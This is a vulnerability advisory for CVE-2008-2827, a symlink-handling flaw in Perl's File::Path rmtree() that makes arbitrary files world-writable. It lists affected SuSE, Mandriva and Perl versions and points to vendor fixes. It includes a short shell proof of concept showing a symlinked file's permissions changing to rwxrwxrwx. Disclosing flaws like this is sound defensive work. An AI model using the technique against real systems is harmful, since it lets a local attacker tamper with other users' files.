Perl 'rmtree()' Function Local Insecure Permissions Vulnerability

BID:29902

Info

Perl 'rmtree()' Function Local Insecure Permissions Vulnerability

Bugtraq ID: 29902
Class: Design Error
CVE: CVE-2008-2827
Remote: No
Local: Yes
Published: Jun 23 2008 12:00AM
Updated: Apr 13 2015 09:37PM
Credit: Frans Pop
Vulnerable: SuSE SUSE Linux Enterprise Server 9 SP3
SuSE SUSE Linux Enterprise Server 9
SuSE SUSE Linux Enterprise Server 10 SP2
SuSE SUSE Linux Enterprise Server 10 SP1
SuSE SUSE Linux Enterprise Server 10
SuSE SUSE Linux Enterprise SDK 9
SuSE SUSE Linux Enterprise SDK 10.SP1
SuSE SUSE Linux Enterprise SDK 10 SP2
SuSE SUSE Linux Enterprise SDK 10 SP1
SuSE SUSE Linux Enterprise SDK 10
SuSE Suse Linux Enterprise Desktop 10 SP2
SuSE Suse Linux Enterprise Desktop 10 SP1
SuSE Suse Linux Enterprise Desktop 10
SuSE SUSE Linux Enterprise 10 SP2 DEBUGINFO
SuSE SUSE Linux Enterprise 10 SP1 DEBUGINFO
SuSE Linux Desktop 10
SuSE Linux 10.1 x86-64
SuSE Linux 10.1 x86
SuSE Linux 10.1 ppc
SuSE Linux 10.0 x86-64
SuSE Linux 10.0 x86
SuSE Linux 10.0 ppc
S.u.S.E. UnitedLinux 1.0
S.u.S.E. SuSE Linux School Server for i386
S.u.S.E. SUSE LINUX Retail Solution 8.0
S.u.S.E. SuSE Linux Openexchange Server 4.0
S.u.S.E. SuSE Linux Open-Xchange 4.1
S.u.S.E. openSUSE 11.0
S.u.S.E. openSUSE 10.3
S.u.S.E. openSUSE 10.2
S.u.S.E. openSUSE 10.1
S.u.S.E. Open-Enterprise-Server 9.0
S.u.S.E. Open-Enterprise-Server 1
S.u.S.E. Open-Enterprise-Server 0
S.u.S.E. Novell Linux POS 9
S.u.S.E. Novell Linux Desktop SDK 9.0
S.u.S.E. Novell Linux Desktop 9.0
S.u.S.E. Linux Professional 10.0 OSS
S.u.S.E. Linux Professional 10.0
S.u.S.E. Linux Professional 10.2 X86 64
S.u.S.E. Linux Professional 10.2
S.u.S.E. Linux Professional 10.1
S.u.S.E. Linux Personal 10.0 OSS
S.u.S.E. Linux Personal 10.2 X86 64
S.u.S.E. Linux Personal 10.2
S.u.S.E. Linux Personal 10.1
Mandriva Linux Mandrake 2008.1 x86_64
Mandriva Linux Mandrake 2008.1
Larry Wall Perl 5.10
+ Turbolinux Home
+ Turbolinux Turbolinux Desktop 10.0
Not Vulnerable:

Discussion

Perl 'rmtree()' Function Local Insecure Permissions Vulnerability

Computers running Perl are prone to a local vulnerability that occurs when handling symbolic links.

Attackers can leverage this issue to change the permissions of arbitrary files.

Perl 5.10.0 is vulnerable; other versions may also be affected.

Exploit / POC

Perl 'rmtree()' Function Local Insecure Permissions Vulnerability

The following example is available:

% touch foo
% ln -s foo bar
% ls -l foo bar
lrwxrwxrwx 1 example example 3 2008-06-21 09:06 bar -> foo
-rw-r--r-- 1 example example 0 2008-06-21 09:06 foo
% perl -e 'use File::Path rmtree; rmtree bar'
% ls -l foo bar
ls: cannot access bar: No such file or directory
-rwxrwxrwx 1 example example 0 2008-06-21 09:06 foo

Solution / Fix

Perl 'rmtree()' Function Local Insecure Permissions Vulnerability

Solution:
Fixes are available. Please see the references for more information.


Mandriva Linux Mandrake 2008.1 x86_64

Mandriva Linux Mandrake 2008.1

References

Perl 'rmtree()' Function Local Insecure Permissions Vulnerability

References:
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